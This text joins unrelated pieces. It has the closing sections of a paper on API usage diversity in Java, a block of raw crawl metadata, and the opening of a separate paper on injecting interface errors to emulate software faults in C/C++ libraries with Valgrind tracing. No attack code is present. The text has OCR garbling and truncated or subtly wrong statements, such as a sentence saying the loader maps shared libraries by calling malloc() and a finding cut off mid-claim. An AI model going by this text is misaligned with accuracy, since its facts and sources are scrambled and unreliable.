2) Diversity and Bug Detection: The type-usage abstraction has been introduced for sake of static bug detection [18], [19]. In this previous research, our mantra was to find a definition of “anomaly” among type-usages, a definition that yields a low number of false positive. An intuitive threshold on the abundance, even drastic, does not work. However, we achieved a false positive ratio to the price of adding strong criteria in the definition of “type-usage anomaly”: first, with respect to the context of the type-usage (the enclosing method), second, with respect to a type-usage distance expressed in terms of methods calls. The new results presented in this paper illuminate our previous work: the diversity of type-usages makes it impossible to easily define an “anomaly”. When an observed world is too diverse, there is no such thing as “anomaly” or “out of the norm”. In general, we tend to think that the more diversity in code (resp. at runtime), the less possible it is to define high confidence static (resp. dynamic) bug detection rules.
3) Diversity and Repair: However, beyond bug detection, for automated bug repair, diversity may also be a major opportunity. The existence of a large number of similar, yet diverse type usages provides a wonderful ‘reservoir’ of alternative code to fix bugs. This goes in the direction of recent results by Carzaniga and colleagues [7] showing that the API usage diversity and plasticity can be used to fix certain bugs at runtime. In such cases, the diversity gives a kind of mutational robustness [23].
4) Diversity and Diversification: In this work we make original observations about the presence of large scale diversity in software. This diversity is present and has emerged spontaneously through the development of a large number of Java classes. One question that emerges with the observation of this spontaneous emergence of diversity is: should we support or encourage the diversity in object-oriented software? Beyond the impact of diversity on success discussed in VII-A5, what about inventing techniques that automatically diversify a class API, using novel code synthesis mechanisms?
For example, let us imagine a developer who wants to use a class X. The developer calls a number of methods of this class’ API, based on previous experiences with this API and a rather intuitive comprehension of what this class should do. There is a chance that the developer calls a method that is not part of the API, but that relates to the services offered by this API. If this case happens, there may be a possibility that the yet unknown
method can be implemented as a combination of existing methods. One way to automatically diversify a class API would be to automatically synthesize this new method, using the code provided by the developer as the specification (if the code executes correctly, the generated method is correct). This kind of code synthesis would, by definition, increase the diversity of type usages over the API, and its principles would be similar to the theories underlying mediator synthesis for middleware interoperability [4], [6].
C. Recapitulation
We think that our observations on object-oriented API usage diversity have questioned different parts of the software engineering knowledge in particular with respect to the principles of good API design. We also think that it opens new research questions in terms of API usability and software testing.
VIII. RELATED WORK
Gabel and Su [10] have studied the uniqueness and redundancy of source at the level of tokens. Our study explores a different facet at a different granularity: the diversity at the level of object-oriented type usages.
Baxter et al. [3] have studied the “shape” of Java software. They discuss the empirical distribution of many software metrics, in particular size based metrics. However, they don’t discuss at all diversity metrics as we do in this paper.
At the level of object-oriented APIs, an early paper by Michail [17] discusses object-oriented usage patterns that were observed in a large-scale study. He did not mention “diversity” although it was somehow implicit in the large reported number of patterns mined (51308 only for KDE classes). On the contrary, we focus on measuring, analyzing and understanding this diversity.
Ma and colleagues [13] only focus on Java classes and prevalence metrics. Laemmel et al. [12] talk about API footprint and coverage (the number of API classes and methods used within client projects). They do not mention the usage diversity.
To our knowledge, Veldhuizen [25] is the only one who has looked at entropy in software in a similar meaning as we have. However, his point on entropy and reuse is more theoretical than empirical, and the presented results are at the level of low-level C library. To our knowledge, we are the first to report on the existence, with precise numbers, of large scale diversity at the API usage level.
Recently, Posnett et al. [21] explored a facet of diversity in software development. In their paper, they define the notions of “artifact diversity” and “authorship diversity” and extensively discuss the pros and cons of high diversity. For instance, for a module, it is beneficial to have a high diversity of contributors. Posnett et al. and we both specifically aim at measuring and understanding diversity in software. But we focus on different facets: “artifact diversity” and “authorship diversity” are orthogonal to “API usage diversity”.
IX. Conclusion
We have mined 9,022,262 type-usages in 3,418 Jar files totaling 382,774 Java classes. In this data, we wanted to specifically measure the diversity, in the sense of ecological biodiversity. To our surprise, we observed a large-scale usage diversity of API usage: 748 classes are used in more than 100 different ways. To our knowledge, this phenomenon has never been reported before.
Then, we have put this diversity to work. We have shown how to use the diversity of API usages as proxy to reason on a class’ semantics, for instance to reason on the number of responsibilities. Finally, we have discussed those empirical results in the general context of software engineering: what are the reasons behind this diversity? what are the implications of this diversity?
As future work, it would be interesting to define measures of “diversity” at other levels of abstraction (e.g. tokens or control flow structures) to analyze the scale effect of this software metric [22]. Diversity may also vary depending on the application domains, and programming languages. To conclude, the diversity advocated by Stephanie Forrest [9] may have already emerged at many layers of the software stack and this work provides new empirical insights about this phenomenon.
ACKNOWLEDGMENTS
This work is partially supported by the EU FP7-ICT-2011-9 No. 600654 DIVERSIFY project and the INRIA Internships program. We thank Benoit Gauzens for detailed feedback as well as Yann-Gaël Guéhéneuc, Vivek Nallur and all members of the DIVERSIFY project for insightful discussions.
REFERENCES
|
{"Source-Url": "https://hal.archives-ouvertes.fr/hal-01095501/file/analysis-exploitation-api-diversity.pdf", "len_cl100k_base": 14815, "olmocr-version": "0.1.50", "pdf-total-pages": 14, "total-fallback-pages": 0, "total-input-tokens": 46095, "total-output-tokens": 17248, "length": "2e13", "weborganizer": {"__label__adult": 0.00037598609924316406, "__label__art_design": 0.0002853870391845703, "__label__crime_law": 0.00026988983154296875, "__label__education_jobs": 0.0007967948913574219, "__label__entertainment": 4.7266483306884766e-05, "__label__fashion_beauty": 0.00013387203216552734, "__label__finance_business": 0.00015020370483398438, "__label__food_dining": 0.00029349327087402344, "__label__games": 0.0004398822784423828, "__label__hardware": 0.00041556358337402344, "__label__health": 0.00032973289489746094, "__label__history": 0.0002002716064453125, "__label__home_hobbies": 6.258487701416016e-05, "__label__industrial": 0.0002048015594482422, "__label__literature": 0.0002834796905517578, "__label__politics": 0.0002532005310058594, "__label__religion": 0.00040340423583984375, "__label__science_tech": 0.0032100677490234375, "__label__social_life": 9.60230827331543e-05, "__label__software": 0.0036163330078125, "__label__software_dev": 0.9873046875, "__label__sports_fitness": 0.00023698806762695312, "__label__transportation": 0.00032258033752441406, "__label__travel": 0.0001760721206665039}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 68302, 0.03015]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 68302, 0.49539]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 68302, 0.89135]], "google_gemma-3-12b-it_contains_pii": [[0, 974, false], [974, 6048, null], [6048, 10395, null], [10395, 15253, null], [15253, 20921, null], [20921, 24921, null], [24921, 30024, null], [30024, 36592, null], [36592, 42208, null], [42208, 47544, null], [47544, 52904, null], [52904, 59349, null], [59349, 65494, null], [65494, 68302, null]], "google_gemma-3-12b-it_is_public_document": [[0, 974, true], [974, 6048, null], [6048, 10395, null], [10395, 15253, null], [15253, 20921, null], [20921, 24921, null], [24921, 30024, null], [30024, 36592, null], [36592, 42208, null], [42208, 47544, null], [47544, 52904, null], [52904, 59349, null], [59349, 65494, null], [65494, 68302, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 68302, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 68302, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 68302, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 68302, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 68302, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 68302, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 68302, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 68302, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 68302, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 68302, null]], "pdf_page_numbers": [[0, 974, 1], [974, 6048, 2], [6048, 10395, 3], [10395, 15253, 4], [15253, 20921, 5], [20921, 24921, 6], [24921, 30024, 7], [30024, 36592, 8], [36592, 42208, 9], [42208, 47544, 10], [47544, 52904, 11], [52904, 59349, 12], [59349, 65494, 13], [65494, 68302, 14]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 68302, 0.18487]]}
|
olmocr_science_pdfs
|
2024-11-27
|
2024-11-27
|
8a83da9ebfc9a12c526e189b62057cb02f46a1dc
|
An Empirical Study of Injected versus Actual Interface Errors
Anna Lanzaro
DIETI, Federico II University of Naples, Italy
anna.lanzaro@unina.it
Roberto Natella
DIETI, Federico II University of Naples, Italy
roberto.natella@unina.it
Stefan Winter
DEEDS Group, Dept. of CS, TU Darmstadt, Germany
sw@cs.tu-darmstadt.de
Domenico Cotroneo
DIETI, Federico II University of Naples, Italy
cotroneo@unina.it
Neeraj Suri
DEEDS Group, Dept. of CS, TU Darmstadt, Germany
suri@cs.tu-darmstadt.de
ABSTRACT
The reuse of software components is a common practice in commercial applications and increasingly appearing in safety critical systems as driven also by cost considerations. This practice puts dependability at risk, as differing operating conditions in different reuse scenarios may expose residual software faults in the components. Consequently, software fault injection techniques are used to assess how residual faults of reused software components may affect the system, and to identify appropriate counter-measures.
As fault injection in components' code suffers from a number of practical disadvantages, it is often replaced by error injection at the component interface level. However, it is still an open issue, whether such injected errors are actually representative of the effects of residual faults. To this end, we propose a method for analyzing how software faults turn into interface errors, with the ultimate aim of supporting more representative interface error injection experiments. Our analysis in the context of widely used software libraries reveals that existing interface error models are not suitable for emulating software faults, and provides useful insights for improving the representativeness of interface error injection.
Categories and Subject Descriptors
C.4 [Performance of Systems]: Fault tolerance; D.2.5 [Testing and Debugging]: Error handling and recovery
General Terms
Reliability, Verification, Performance
Keywords
Software Fault/Error Injection, Experimental Dependability Assessment, Software Faults/Errors, FMECA, Off-The-Shelf Software, Software Components
1. INTRODUCTION
The reuse of legacy or off-the-shelf software components plays a key role in the development of software systems. Unfortunately, component-based software development imposes significant risks for dependability [14,41,43]: When a component is reused in a new context, the system may use parts of the component that were previously seldom used and only lightly tested, or may interact with the component in unforeseen ways, thus exposing residual software faults in the component that had not been discovered before.
Software fault injection (SFI) is a valuable and advocated approach to assess the dependability of component-based systems in the presence of faulty software components, by deliberately introducing faults in its components (e.g., code mutations) [10,13,16,41]. SFI enables several strategies for the dependability assessment of complex and component-based software, including:
- Validating fault-tolerance mechanisms: SFI can evaluate error detection and handling mechanisms (such as assertions and exception handlers) against component faults, and to improve such mechanisms if necessary (e.g., by introducing error checks) [2,24,32].
- Aiding FMECAs (Failure Mode, Effects, and Criticality Analysis): Developers can quantify the impact of a faulty component on the overall system (e.g., in terms of catastrophic system failures), and mitigate risks by comprehensively testing the most critical components and revising the system design [16,29,42].
- Dependability benchmarking: SFI helps developers to choose among alternative systems or components that provide the best dependability and/or performance in the presence of other, faulty, components [22].
Despite the extensive development of various approaches, SFI remains a complex process, and technical limitations affect the feasibility and the quality of SFI experiments. A well-known approach is to introduce small code changes in the target component through code mutations (CM) [13,30,32], in a similar way to mutation testing but with different goals and approaches [20,30]. This approach is able to emulate software faults in a representative way, i.e., the errors
\footnote{According to the definitions of [3], a fault is a software defect, and an error is an incorrect state caused by a fault.}
generated by injected faults match the effects of real residual software faults in a component, as proved in [1, 11]. In turn, fault representativeness is a requirement for a trustworthy assessment of dependability properties, as discussed in Section 2 and in [26, 30]. Unfortunately, the mutation of components’ code requires either the availability of source code for the target component, which may be impossible to obtain in the case of proprietary third-party components, or the ability to mutate the binary code. The latter has proven very difficult: In some cases it is impossible to correctly recognize and mutate high-level programming constructs in binary code [9]. Another issue with CM is efficiency, in terms of number of experiments that actually exhibit a component error, since injected faults may be difficult to activate and not produce any perceived error during the experiments [7].
Interface error injection (IEI) is an alternative SFI approach that overcomes these limitations of CM. IEI mimics the effects (i.e., errors) produced by faults in a component, by injecting exceptional or invalid values at the component’s interface [15, 27, 44]. IEI is a practical and popular approach since it does not change the code of components, and assures the efficiency of experiments by definition since every injection produces an error. IEI approaches include:
- The injection of incorrect return values provided by external library functions, using the FST [15] and LFI [27] tools, to assess the effectiveness of error handling mechanisms of UNIX and Windows applications;
- The injection of incorrect system call parameters using pre-defined invalid data values, such as NULL pointers and out-of-bounds values with the BALLISTA tool [24], and random “flipping” of individual bits or bytes of parameters using the MAFALDA tool [2], to assess OIS against faulty user applications and device drivers [44];
- The injection of incorrect service invocation parameters with pre-defined invalid inputs, to assess SOA systems against faulty and malicious users [25];
- The random corruption of data words by bit-flipping heap, global, and stack areas, using the FIAT [4] and FERRARI [21] tools, to assess the effectiveness of error detection mechanisms within a program.
The representativeness of interface errors is less of an issue for traditional testing, where invalid values are useful at exposing inputs that lead to software failures. Nevertheless, the use of IEI for the representative emulation of component faults (as required by dependability assessment strategies [22, 29, 41]) is questionable, as there is a lack of evidence that IEI can realistically emulate software faults.
Paper Contributions. This work aims at analyzing how software faults in components’ code result in errors at components’ interfaces, in order to provide some constructive evidence towards more representative IEI techniques. Our paper makes the following contributions:
1. A method for analyzing error propagation at the interfaces of software components. Our method identifies how faults in software components manifest as interface errors. The method first injects faults in the software component under analysis by performing code mutations using a set of representative fault types that are based on field failure data on real faults from deployed software systems [7, 13]. Then, it instruments and executes the software component and identifies the effects of injected faults on the program that uses the component, including the corruption of data structures shared between the program and the component and erroneous return values from function calls. We have implemented a tool to perform the analysis in a fully automated manner.
2. Experimental identification of representative errors. We experimentally analyze interface error propagation for a set of three software components, distributed as libraries and widely adopted in real-world software applications. The analysis provides useful insights for injecting representative interface errors.
Paper Results. The key findings of the analysis are:
- Faults within components corrupt larger amounts of data than what is usually assumed by previous IEI techniques [44]. This suggests that the corruption of individual bits or bytes in interface parameter values cannot be considered representative of software faults.
- Erroneous return values from component invocations are accompanied by heap/stack data corruption: In almost all cases, when an error code is returned, data corruption also occurs. Therefore, both erroneous return values and data corruptions should be injected at the same time to achieve representativeness.
- Corrupted memory areas are correlated with the amount of memory accesses performed on that area: The more frequently the library accesses to a byte, the more likely that the byte will be corrupted by library faults.
- A considerable number of CMs do not produce any noticeable effect on the experiment, thus demonstrating the aforementioned efficiency issue with CM.
2. RELATED WORK
The representativeness of faults is a key property for the quantitative assessment of dependability properties through fault injection. In [33], Ng and Chen designed a write-back file cache with the requirement to be as reliable as a write-through file cache. To validate this requirement, software faults are injected in the OS to estimate the probability of data loss. Using fault injection experiments, the authors identified weak points of their file cache and iteratively improved its design until its reliability was comparable to a write-through cache. In [5], fault injection was adopted to evaluate whether the PostgreSQL DBMS exhibits fail-stop behavior in the presence of software faults, and to measure its fault detection latency. The study found that the transaction mechanism is effective at preventing fail-stop violations, reducing them from 7% to 2%. Kao et al. [23] performed a Markov reward analysis, based on fault injection experiments, to quantify the expected impact of faults on performance and availability. Tang and Hetch [39] proposed an approach for accelerating the probabilistic evaluation of high-reliability systems (e.g., with a failure rate in the order of $10^{-8}$) that adopts fault injection to force the occurrence of rare events. In [42], Voss et al. inject errors within a program to identify where to place assertions and to avoid error propagation. The accuracy of these measures and the confidence
on fault tolerance mechanisms is based on the assumption that the injected faults are representative of real software faults. In [40], Vieira and Madeira proposed a dependability benchmark to evaluate different DBMS configurations with respect to operator and software faults in order to aid system administrators; in this case, a representative set of faults is required to make systems comparable and to identify the best configuration.
The representativeness of error injection techniques with respect to software faults was investigated in many studies. In order to accelerate the consequences of software fault injection experiments through error injection, Christmannson and Chillarege [7] proposed a methodology to derive a set of representative errors that match the effects of residual software faults of a system, by analyzing failure data at the users’ site. They proposed to inject errors through bit-flipping, which corrupts program data at run-time by changing the contents of individual bits or bytes on heap, global, and stack areas, and mechanisms that were originally developed for emulating the effects of hardware faults [4, 21]. The error types were derived as the immediate effect of fault activations on internal program data and classified according to the type of data corrupted by the fault (e.g., corruption of address vs. data words). Christmannson et al. [8] observed the benefits of such error injections over fault injections for evaluating the fault-tolerance of an embedded real-time system in terms of experiment setup and execution time. Their experimental analysis also showed that the lack of error representativeness has a noticeable impact on experimental results.
It must be noted that the approach of [7] can emulate the effects of software faults only to a limited extent, as Madeira et al. [26] showed that bit-flipping is not suitable for mimicking faults that involve several statements and complex data structures. Instead, Daran and Thévenod-Fosse [11] showed that code mutations are effective at emulating software faults, by observing an overlap of the error propagation of 12 known real faults and 24 mutations in a small safety-critical program. Nevertheless, their analysis focused on internal errors rather than interface errors.
As we are interested in how faulty components can affect other components, our focus is on error manifestations at component interfaces, rather than immediate effects on internal data of the targeted component as in [7, 11]. Moraes et al. [28] and Jarboui et al. [19] investigated the representativeness of error injections at component interfaces, by comparing the failure distributions obtained from IEI and from CM, respectively. From a series of comparative experiments between fault injection based on representative code changes [13] and data-type-based interface errors commonly adopted in robustness testing (encompassing parameter corruptions through bit-flipping, boundary values such as $-2^{31}$, and invalid values such as NULL pointers [24, 44]), they concluded that IEI and CM produce failures.
A limitation of previous analyses on error propagation [11, 19, 28] was that they were manually performed on a very small number of faults and on single programs, due to the lack of an automated tool for analyzing interface error propagation. Our study thus proposes an automated approach able to analyze arbitrary memory corruptions of component interface data, focusing on data exchanged via inter-component interfaces. Unlike previous tools for error propagation analysis by Kao et al. [23] and by Chandra and Chen [5], our method is able to precisely distinguish between the corruption of internal component data and of interface data.

**Figure 1:** Relationship between component faults and interface errors.
### 3. PROPAGATION OF ERRORS AT COMPONENT INTERFACES
Our experimental analysis aims at identifying how software faults in a software component turn into interface errors that affect other components and the system as a whole. Figure 1 depicts the relationship between faults and errors: When a component service of the target component is requested through the component interface (e.g., through an API function call) by a user component, the target processes input data from the user, and provides results, by manipulating interface parameters provided by and returned to the user (e.g., data structures exchanged through input/output parameters and through the return value of a function invocation). During the execution of a component service, the activation of residual software faults in the component results in an internal error (e.g., corruption of internal data). When the component service terminates, the interface parameters exchanged between the target and the user components can be corrupted as an effect of such internal errors, thus producing interface errors. In such cases, we say that errors propagate from the target component to other components.
We consider software components in the form of libraries (i.e., collections of functions and classes) linked to a C/C++ main program at compile- or at run-time, as these languages are predominant in safety-critical control systems and systems software. However, the general approach applies for any type of software composition where components exchange data through shared data structures. Fig. 2 to 5 show the resulting error propagation paths for data errors in the case of library functions invoked from a (main) program.

**Figure 2:** Propagation through a library-allocated heap area.
```c
struct test { int val; ...);
struct test + library_function() { ...
struct test * p = new struct test;
p->val = 123;
Fault
... return p;
}
int main() { ...
p = library_function();
...
}
```
The first scenario (Figure 2) consists in the corruption of a data structure that is dynamically allocated on the heap by the library (3), where the corrupted data structure survives the component invocation (2) and is returned to the main program through a pointer return value (either on the stack or in a register, depending on calling conventions), which represents an erroneous interface parameter.
```c
struct test {
int val;
...}
void library_function (struct test * p) {
...
p->val = 111; // Fault
...
} int main() {
...
1 struct test * p = new struct test;
library_function(p);
...
}
```
Figure 3: Propagation through a user-allocated heap area.
Figure 3 depicts a similar case, in which a data structure is allocated by the main program (1), passed to the library through a pointer interface parameter, and corrupted during the library invocation (2). The erroneous value represents an interface error, as it propagates to the main program by affecting an input-output interface parameter of the library.
```c
struct test {
char * string;
};
void library_function (struct test * p) {
...
strcpy(p->string, "aaa"); // Fault
...
} int main() {
...
1 struct test * p = new struct test;
library_function(p);
...
}
```
Figure 4: Propagation through a library-allocated heap area, reached through a user-allocated heap area.
Even if interface parameters are not directly corrupted, error propagation can still indirectly affect the main program by corrupting data that is pointed to by an interface parameter, such as in the case of complex data structures like trees and linked lists. This is the case in Figure 4, where a user-allocated data structure (3) is linked to a library-allocated string (2 and 3) that can get corrupted. A corruption of the linked string can be considered an interface error, as this area is reachable by the main program. This applies in general to any memory area reachable from an interface parameter through an arbitrary number of pointers.
```c
void library_function (int vector[], int size) {
...
vector[3] = 111; // Fault
...
} int main() {
...
1 int vector [10];
library_function(vector, 10);
...
}
```
Figure 5: Propagation through a user-allocated local variable.
Finally, error propagation is not limited to heap areas, as in the case of Figure 5, in which an array is allocated as a local variable by the main program (1), a pointer to the array is passed to the library through an interface parameter, and the array’s contents gets corrupted by the library (2). It is important to note that we are not analyzing internal errors that are not visible to the main program (i.e., memory areas not reachable outside the component). This is the case, for instance, of local variables allocated by the library, and of heap memory areas not reachable (neither directly through interface parameters, nor indirectly) by the main program.
4. PROPAGATION ANALYSIS
The proposed method enables the automated analysis of errors occurring at the interfaces of C/C++ software components, according to the workflow of Figure 6. First, the library is linked to a main program (which represents the workload of the experiment) and executed, collecting information about (i) memory stores made by the library, (ii) dynamic memory allocations of both library and main program, and (iii) library invocations performed by the program during the execution. The raw execution trace is pre-processed, in order to identify library memory stores that affect memory areas actually visible to the main program (such as the cases considered in Figure 2 to 5). The same steps are performed a second time, with a software fault deliberately injected into the library. Due to the injected fault, the library can generate different memory stores to interface parameter data, which leads to interface errors. To identify such interface errors, we compare the two execution traces and point out differences in terms of memory stores that write incorrect data (i.e., values differing from the fault-free execution), memory stores omitted by the faulty library, and superfluous memory stores that are only performed in the faulty execution.
To trace memory accesses performed by the target library, we perform a dynamic binary instrumentation (DBI) of the executable program [31]. In general, DBI techniques instrument a program during its execution by adding analysis code that collects data about the state of the execution. Uses of DBI range from simple analyses, such as profiling of function calls and code coverage, to more complex analyses, such as
undeclaredness of program variables. In particular, we adopt the disassemble-and-reassembly DBI approach [31], which translates the original program (native code) into an intermediate representation (IR), instruments the IR, and translates the IR back to native code, which is then executed on the native system. The IR code consists of architecture-independent, RISC-like instructions that perform individual operations such as memory stores (in contrast to a native CISC-like code instruction, such as x86 instructions, that can have several side effects). DBI takes advantage of conventional compiler optimizations, such as code caging, in order to accelerate the process of instrumentation. Analysis code is mixed with the original IR code to obtain an instrumented IR code: for instance, to track memory modifications, the DBI can add one or more IR instructions after each IR store instruction, to record the accessed address and the value written to that address. This approach allows to analyze memory accesses made by a program at a fine grain, which is the objective of the analysis of this study.
We developed a DBI analysis tool for tracing library code on top of the Valgrind program analysis framework [31]. Our tool inserts the following analysis code at run-time:
- After each instruction, we insert code to check the instruction address to detect whether the control flow moved from the main program to the code of the target library (i.e., the program enters in library context). In a similar way, we check whether the control flow returns from the library to the main program. We record the name of the invoked library function (which is obtained from the symbol table included in the library), and the return value of the library invocation.
- When library context is entered, we record the current value of the stack register, which marks the end of the stack frame of the main program (containing local variables of the library). While the execution is in library context, we record changes to the stack register, in order to trace the growth of the library stack frame and, ultimately, to identify writes to local variables of the main program (which are stored on the stack) and to discard writes to local variables allocated by the library.
- While in library context, after each IR store instruction, we insert code for recording the address of the instruction that writes to memory, the address and the size of the area being written, and the new contents of the memory area. The DBI tool records memory accesses to heap and global data (e.g., Figures 2 to 4), and to data in the stack frame of the main program (e.g., Figure 5).
Moreover, the tool wraps and intercepts the invocation of the following functions of the C library:
- Invocations of `malloc()`, which is invoked at run-time by the loader to link a shared library to the address space of the process: We record the addresses of memory areas in which library code and data are mapped.
- Invocations of memory allocation functions (e.g., `new`, `malloc()`), both in library context and in the main program: We record the address and the size of each allocated and freed memory area, and the code location that allocated that memory area. This information is used later in the analysis for identifying memory areas reachable by the main program.
As a result, the execution trace obtained from the DBI tool provides (i) all invocations of and returns from library functions (`lib_invocation` and `lib_return` events), and their return value, (ii) all memory writes made by the library outside its local variables (`store` events), and (iii) all memory allocations and deallocations (`allocation` and `free` events).
The trace is then processed (Figure 6) to identify memory stores that write data accessible by the main program, that is, interface parameter data. These data are identified by building a graph, where nodes represent memory areas (i.e., a range of contiguous memory addresses, such as an array of bytes allocated on the heap), and edges represent pointer-pointer relationship between memory areas (i.e., a memory area contains a pointer variable, pointing to another memory area). A memory area is reachable by a program using the library if there is a path in the graph between that memory area and any variable of the user program, i.e., a variable in the user heap (represented by the `UH` node), in the user stack (`US` node) or an output value from the library function call (`O` node). Figure 7 shows an example.
```c
struct test (char * s); int main() {
int v [10];
struct test * p = new struct test;
char * c = library_function(v, v);
char * library_function (struct test * p, int v[]) {
char * tmp = new char[20];
delete [] tmp;
p->s = new char[20];
return new char[5];}
```
Figure 7: Example of reachability graph.
Figure 8 provides the detailed algorithm for building and analyzing the graph. The trace is analyzed in three passes.
Each pass processes events of the trace in sequential order, by invoking for each event a function according to the type of event (e.g., when a `STORE` event is encountered while scanning the trace, it is processed by invoking HANDLE_STORE).
Pass 1. This pass (Fig. 8a) identifies heap memory areas that are allocated and deallocated within the same library invocation (i.e., “temporary” memory areas used during an individual library invocation, such as “tmp” in Figure 7), and removes them from the analysis (Fig. 8a, line 20), since these areas cannot be accessed by the user program (they do not “survive” a library invocation). The remaining heap areas can still potentially be accessed by the main program.
function HANDLE_LIB_INVOCATION
4: library_context ← 1
5: end function
function HANDLE_LIB_RETURN
7: library_context ← 0
8: Allocs ← Allocs ∪ AllocsLib
9: AllocsLib ← ∅
10: end function
function HANDLE_ALLOCATION(new AllocsLib)
12: if library_context = 1 then
13: AllocsLib ← AllocsLib ∪ {new AllocsLib} // library allocation
14: else
15: Allocs ← Allocs ∪ {new AllocsLib} // user allocation
16: end if
17: end function
function HANDLE_FREE(alloc)
19: if library_context = 1 then
20: AllocsLib ← AllocsLib \ {alloc}
21: end if
22: end function
(a) Pass 1: Collection of memory allocations.
1: E ← GET_LIBRARY_ALLOCATED.Areas(Allocs ∪ {UH, US, O})
2: V ← ∅
3: function HANDLE_STORE(store)
4: pointed_area ← INTERVALSEARCH(Allocs, store.value)
5: if pointed_area ≠ ∅ ∧ (is LIB HEAP_AREA(pointed_area) ∨ is LIB GLOBAL_AREA(pointed_area)) then
6: accessed_area ← INTERVALSEARCH(Allocs, store.address)
7: if accessed_area ≠ ∅ then
8: if is USER HEAP AREA(accessed_area) then
9: V ← V ∪ (pointed_area, UH)
10: else
11: V ← V ∪ (pointed_area, accessed_area)
12: end if
13: else if is USER STACK_DATA(store.address) then
14: V ← V ∪ (pointed_area, US)
15: end if
16: end if
17: end function
18: function HANDLE_LIB_RETURN(returned_value)
19: pointed_area ← INTERVALSEARCH(Allocs, returned_value)
20: if pointed_area ≠ ∅ then
21: V ← V ∪ (pointed_area, O)
22: end if
23: end function
(b) Pass 2: Generation of the reachability graph.
1: Trace ← ∅
2: function HANDLE_STORE(store)
3: area ← INTERVALSEARCH(Allocs, store.address)
4: address ← store.address
5: if is LIB HEAP_AREA(area) ∨ is LIB GLOBAL_AREA(area) then
6: if is REACHABLE_BY_USER_V_E(address) then
7: Trace ← Trace ∪ (store)
8: end if
9: else if is USER_HEAP_AREA(area) ∨ is USER_STACK_DATA(address) then
10: Trace ← Trace ∪ (store)
11: end if
12: end function
(c) Pass 3: Event filtering.
Figure 8: Trace pre-processing.
The address ranges [start, end] of remaining heap areas are arranged in an interval tree, the Allocs set (Fig. 8a, line 8), which is a data structure that allows to search for ranges containing a given value: We use this feature in subsequent passes to find, for a given address in the trace, the heap area to which that address belongs. Address ranges of global data structures of the library (obtained from the library symbol table) are also inserted in the interval tree at the beginning of the pass (Fig. 8a, line 1).
Pass 2. This pass (Fig. 8b) constructs a directed graph \((E, V)\) representing pointer-pointee relationships between library-allocated memory areas, and between these areas and memory areas of the user program. Node A of the graph (representing a memory area A) is connected to node B if the area A contains a pointer with an address to the memory area B (i.e., B is “reachable” by A). The graph includes a node for each library-allocated memory area. Moreover, we introduce in the graph the UH, US, and O nodes (Fig. 8b, line 1): if a node A is connected to any of these nodes, then the memory area A is directly reachable through user-allocated heap memory, user stack memory, or an output value of a function call, respectively. To identify pointer-pointee relationships, we check the value written by store operations \((store.value)\) and see whether that value represents an address within one of the memory areas in Allocs; if this is the case, then the written value represents a pointer, and the two areas (i.e., the one containing the pointer, and the one with the pointed address) are connected in the graph (Fig. 8b, line 11). If a library-allocated heap/global area is pointed to by user heap areas, the user stack, or values returned by library invocations, that library-allocated area is connected to UH, US, or O, respectively (Fig. 8b, lines 9, 14, 21). This pass uses an interval tree search in Allocs (Fig. 8b, line 4) to identify pointers and the areas they point to.
Pass 3. It identifies memory stores to areas that are reachable by the main program (Fig. 8c). If the address of the store \((store.address)\) belongs to a library-allocated area, the algorithm inspects the graph using the is REACHABLE_BY_USER function (Fig. 8c, line 6) to find whether the area is reachable outside the library, and only adds the store to the final trace if there exists a path in the graph between the memory area and one of the UH, US, or O nodes (i.e., the area is reachable by the user). Stores on user-allocated memory area are also included in the trace (Fig. 8c, line 10).
After the execution of an experiment and of pre-processing, we obtain a trace consisting of a sequence of tuples, each representing a memory store performed by the library on user-reachable memory. A tuple is defined as: \(<\text{instruction address}, \text{memory address}, \text{store size}, \text{stored value}>\). A “faulty” execution trace is then compared with a “fault-free” execution trace. Given that execution traces are always identical when the target software is executed without faults (effects of non-determinism must be factored out, as discussed below), any differences between the faulty and the fault-free traces are actually due to injected faults. Traces are compared by searching for the longest common subsequences, using the algorithm described in [18]: it aligns two sequences such that two tuples at the same position in the aligned sequences will have the same values, by comparing, respectively, the instruction, the address, the size and the value of memory stores. In the example of Figure 9, the first and the third stores of both sequences are aligned; the stores at the second position are performed by the same instruction on the same memory area (a heap area allocated at buf.c.158), but
a value is written in the faulty execution; the fourth store is only performed in the fault-free execution, while it is omitted in the faulty one. In this example, 4 bytes are corrupted by writing a wrong value at the second position, and another byte is corrupted since its initialization is omitted at the fourth position. We also detect corruptions due to spurious stores not performed in the fault-free execution. In a similar way, we compare return values of library invocations.
When comparing faulty and fault-free traces, we focus on memory stores and return values produced by the first library function invocation that exhibits differences from fault-free executions. The differences exhibited by subsequent invocations of library functions need to be discarded since they may not be due to the injected fault, but due to an incorrect behavior of the main program caused by the first “faulty” library invocation. Focusing on the first faulty library invocation is more precise and avoids confusion between effects. Our approach is able to catch interface errors produced both by the injected library function, and by library functions that are indirectly impacted by the injected one.
Another important aspect that we needed to take into account in the design of our DBI technique is the degree of non-determinism in execution traces. The comparison of traces in faulty and fault-free conditions (as depicted in Figure 6) requires that differences between traces are actually due to faults, and not due to random variations caused by non-determinism. In our experimental setup, we took into account the following sources of non-determinism:
